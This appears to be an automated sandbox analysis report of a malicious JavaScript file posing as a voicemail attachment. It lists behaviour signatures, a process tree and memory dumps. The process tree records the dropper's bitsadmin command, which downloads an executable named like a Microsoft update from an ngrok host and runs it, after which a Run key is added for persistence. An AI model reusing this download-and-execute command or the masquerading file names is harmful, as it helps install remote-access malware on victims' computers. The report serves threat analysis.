Analysis
- max time kernel
148s - max time network
153s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
05/10/2026, 15:53
General
- Target msg0001.wavPortalFile)34678458745a742e.js
- Size 50.0MB
- Sample261005-tbsmsshg34
- SHA256 2ede40f7d7f02014533a250bd68ee2da8f48cd222d14d4a66c50206646ede127
Malware Config
Signatures
- Download via BitsAdmin 1 TTPs 1 IoCs
- Downloads MZ/PE file 1 IoCs
- Executes dropped EXE 1 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Enumerates video capture drivers 2 TTPs 1 IoCs
Queries the legacy Video for Windows capture drivers. This is commonly abused by RATs to check for available webcams on the system before reporting to their C2.
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\msg0001.wavPortalFile)34678458745a742e.js1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\bitsadmin.exe"C:\Windows\System32\bitsadmin.exe" /transfer 8 https://130826.ngrok.app/MicrosoftUpdateServices.exe C:\Users\Admin\MicrosoftUpdateServices.exe2⤵
- Download via BitsAdmin
-
-
C:\Users\Admin\MicrosoftUpdateServices.exe"C:\Users\Admin\MicrosoftUpdateServices.exe"2⤵
- Adds Run key to start application
- Enumerates video capture drivers
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Roaming\WindowsComponentUpdater.exeC:\Users\Admin\AppData\Roaming\WindowsComponentUpdater.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
memory/6096-0-0x00007FFBA24DF000-0x00007FFBA24E0000-memory.dmp
memory/6096-2-0x0000000000920000-0x0000000001920000-memory.dmp
memory/6096-1-0x00007FFBA2350000-0x00007FFBA2CF4000-memory.dmp
memory/6096-3-0x00007FFBA2350000-0x00007FFBA2CF4000-memory.dmp
memory/6096-4-0x00007FFBA2350000-0x00007FFBA2CF4000-memory.dmp
memory/6096-5-0x00007FFBA2350000-0x00007FFBA2CF4000-memory.dmp
memory/6096-7-0x00007FFBA2350000-0x00007FFBA2CF4000-memory.dmp
memory/6096-10-0x00007FFBA2350000-0x00007FFBA2CF4000-memory.dmp
memory/6096-11-0x00007FFBA2350000-0x00007FFBA2CF4000-memory.dmp
memory/6096-12-0x0000000024F60000-0x0000000024FCC000-memory.dmp
memory/6096-26-0x0000000024F60000-0x0000000024FC6000-memory.dmp
memory/6096-24-0x0000000024F60000-0x0000000024FC6000-memory.dmp
memory/6096-50-0x0000000024F60000-0x0000000024FC6000-memory.dmp
memory/6096-52-0x0000000024F60000-0x0000000024FC6000-memory.dmp
memory/6096-70-0x0000000024F60000-0x0000000024FC6000-memory.dmp
memory/6096-94-0x0000000024F60000-0x0000000024FC6000-memory.dmp
memory/6096-138-0x0000000024F60000-0x0000000024FC6000-memory.dmp
memory/6096-136-0x0000000024F60000-0x0000000024FC6000-memory.dmp
memory/6096-134-0x0000000024F60000-0x0000000024FC6000-memory.dmp
memory/6096-132-0x0000000024F60000-0x0000000024FC6000-memory.dmp
memory/6096-130-0x0000000024F60000-0x0000000024FC6000-memory.dmp
memory/6096-128-0x0000000024F60000-0x0000000024FC6000-memory.dmp
memory/6096-126-0x0000000024F60000-0x0000000024FC6000-memory.dmp
memory/6096-124-0x0000000024F60000-0x0000000024FC6000-memory.dmp
memory/6096-122-0x0000000024F60000-0x0000000024FC6000-memory.dmp
memory/6096-120-0x0000000024F60000-0x0000000024FC6000-memory.dmp
memory/6096-118-0x0000000024F60000-0x0000000024FC6000-memory.dmp
memory/6096-116-0x0000000024F60000-0x0000000024FC6000-memory.dmp
memory/6096-114-0x0000000024F60000-0x0000000024FC6000-memory.dmp
memory/6096-112-0x0000000024F60000-0x0000000024FC6000-memory.dmp
memory/6096-110-0x0000000024F60000-0x0000000024FC6000-memory.dmp
memory/6096-108-0x0000000024F60000-0x0000000024FC6000-memory.dmp
memory/6096-106-0x0000000024F60000-0x0000000024FC6000-memory.dmp
memory/6096-104-0x0000000024F60000-0x0000000024FC6000-memory.dmp
memory/6096-102-0x0000000024F60000-0x0000000024FC6000-memory.dmp
memory/6096-100-0x0000000024F60000-0x0000000024FC6000-memory.dmp
memory/6096-98-0x0000000024F60000-0x0000000024FC6000-memory.dmp
memory/6096-96-0x0000000024F60000-0x0000000024FC6000-memory.dmp
memory/6096-92-0x0000000024F60000-0x0000000024FC6000-memory.dmp
memory/6096-90-0x0000000024F60000-0x0000000024FC6000-memory.dmp
memory/6096-88-0x0000000024F60000-0x0000000024FC6000-memory.dmp
memory/6096-86-0x0000000024F60000-0x0000000024FC6000-memory.dmp
memory/6096-84-0x0000000024F60000-0x0000000024FC6000-memory.dmp
memory/6096-82-0x0000000024F60000-0x0000000024FC6000-memory.dmp
memory/6096-80-0x0000000024F60000-0x0000000024FC6000-memory.dmp
memory/6096-78-0x0000000024F60000-0x0000000024FC6000-memory.dmp
memory/6096-76-0x0000000024F60000-0x0000000024FC6000-memory.dmp
memory/6096-74-0x0000000024F60000-0x0000000024FC6000-memory.dmp
memory/6096-72-0x0000000024F60000-0x0000000024FC6000-memory.dmp
memory/6096-68-0x0000000024F60000-0x0000000024FC6000-memory.dmp
memory/6096-66-0x0000000024F60000-0x0000000024FC6000-memory.dmp
memory/6096-64-0x0000000024F60000-0x0000000024FC6000-memory.dmp
memory/6096-62-0x0000000024F60000-0x0000000024FC6000-memory.dmp
memory/6096-60-0x0000000024F60000-0x0000000024FC6000-memory.dmp
memory/6096-58-0x0000000024F60000-0x0000000024FC6000-memory.dmp
memory/6096-56-0x0000000024F60000-0x0000000024FC6000-memory.dmp
memory/6096-54-0x0000000024F60000-0x0000000024FC6000-memory.dmp
memory/6096-48-0x0000000024F60000-0x0000000024FC6000-memory.dmp
memory/6096-44-0x0000000024F60000-0x0000000024FC6000-memory.dmp
memory/6096-42-0x0000000024F60000-0x0000000024FC6000-memory.dmp
memory/6096-40-0x0000000024F60000-0x0000000024FC6000-memory.dmp
memory/6096-38-0x0000000024F60000-0x0000000024FC6000-memory.dmp
memory/6096-36-0x0000000024F60000-0x0000000024FC6000-memory.dmp
memory/6096-34-0x0000000024F60000-0x0000000024FC6000-memory.dmp
memory/6096-32-0x0000000024F60000-0x0000000024FC6000-memory.dmp
memory/6096-30-0x0000000024F60000-0x0000000024FC6000-memory.dmp
memory/6096-46-0x0000000024F60000-0x0000000024FC6000-memory.dmp
memory/6096-28-0x0000000024F60000-0x0000000024FC6000-memory.dmp
memory/6096-22-0x0000000024F60000-0x0000000024FC6000-memory.dmp
memory/6096-21-0x0000000024F60000-0x0000000024FC6000-memory.dmp
memory/6096-16-0x0000000024F60000-0x0000000024FC6000-memory.dmp
memory/6096-14-0x0000000024F60000-0x0000000024FC6000-memory.dmp
memory/6096-18-0x0000000024F60000-0x0000000024FC6000-memory.dmp
memory/6096-13-0x0000000024F60000-0x0000000024FC6000-memory.dmp